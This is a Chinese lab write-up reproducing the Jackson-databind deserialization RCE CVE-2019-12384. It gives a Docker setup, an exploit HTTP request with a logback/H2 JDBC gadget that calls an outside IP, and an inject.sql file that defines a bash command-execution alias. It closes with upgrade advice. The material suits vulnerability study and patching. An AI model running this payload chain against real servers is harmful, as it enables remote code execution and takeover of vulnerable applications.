(环境搭建+复现)CVE-2019-12384 Jackson 远程代码执行漏洞

1、【CVE编号】

CVE-2019-12384

2、【漏洞名称】

Jackson 远程命令执行漏洞

3、【靶标分类】

Web类型类靶标

4、【影响版本】

Jackson-databind 2.X < 2.9.9.1

5、【漏洞分类】

代码执行

6、【漏洞等级】

7、【漏洞简介】

由于Jackson黑名单过滤不完整而导致,当开发人员在应用程序中通过ObjectMapper对象调用enableDefaultTyping方法时,程序就会受到此漏洞的影响,攻击者就可利用构造的包含有恶意代码的json数据包对应用进行攻击,直接获取服务器控制权限。

8、【靶标运行环境】

标靶运行操作系统系统:Ubuntu1804 64位
操作系统内核:4.15.0-92-generic
容器版本:jackson 2.9.8
端口号:8080
工具:burpsuite,docker

9、【靶标搭建过程】

1、创建在桌面一个docker-compose 配置文件

version: '2'
services:
  web:
    image: tech1iu/servlet-with-jackson:2.9.8
    container_name: jackson-fuckme
    ports:
      -  "8080:8080"

2、docker-compose up -d
(环境搭建+复现)CVE-2019-12384 Jackson 远程代码执行漏洞_第1张图片
3、访问192.168.152.130:8080,搭建成功
(环境搭建+复现)CVE-2019-12384 Jackson 远程代码执行漏洞_第2张图片
10、【靶场利用过程】
1、SSRF

POST /fuckme HTTP/1.1
Host: 192.168.152.130:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: pro_end=-1; ltd_end=-1; order=id%20desc; memSize=2978; sites_path=/www/wwwroot; serverType=nginx; backup_path=/www/backup; force=0; load_page=null; load_search=undefined; pnull=nullnot_load; uploadSize=1073741824; rank=a; SetName=; site_type=-1; ChangePath=3; vcodesum=9; SESScc3cfa2752cb20299766315b04dc7f8a=DUjfNVloT1dZgF2MyF2qjBGeEIPVWnRLF2aOvs7q808; request_token=S3WKG02B2DYSeyCaHQrfoZQfUirBwH1eq6sg9SYYhZnrvWFN; softType=10; load_type=10; Path=/www/server/panel/plugin/free_waf; aceEditor=%7B%22fontSize%22%3A%2213px%22%2C%22theme%22%3A%22monokai%22%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 113

poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://47.101.72.112:1888/~/test"}]

(环境搭建+复现)CVE-2019-12384 Jackson 远程代码执行漏洞_第3张图片
2、RCE
利用此服务器的SSRF漏洞请求恶意文件
inject.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('touch shell.txt')

(环境搭建+复现)CVE-2019-12384 Jackson 远程代码执行漏洞_第4张图片
在这里插入图片描述
进入容器查看是否创建shell.txt成功
docker exec -it 5b54ee8a51d9 bash

(环境搭建+复现)CVE-2019-12384 Jackson 远程代码执行漏洞_第5张图片
11、【解决方案】
官方已经在2.9.9.1版本中修复该漏洞,请用户尽快升级至2.9.9.1及以上版本进行防护。

下载链接:https://github.com/FasterXML/jackson-databind/releases

Referer:
https://github.com/cnsimo/vu1hub/tree/master/jackson/CVE-2019-12384-RCE

你可能感兴趣的:(漏洞复现)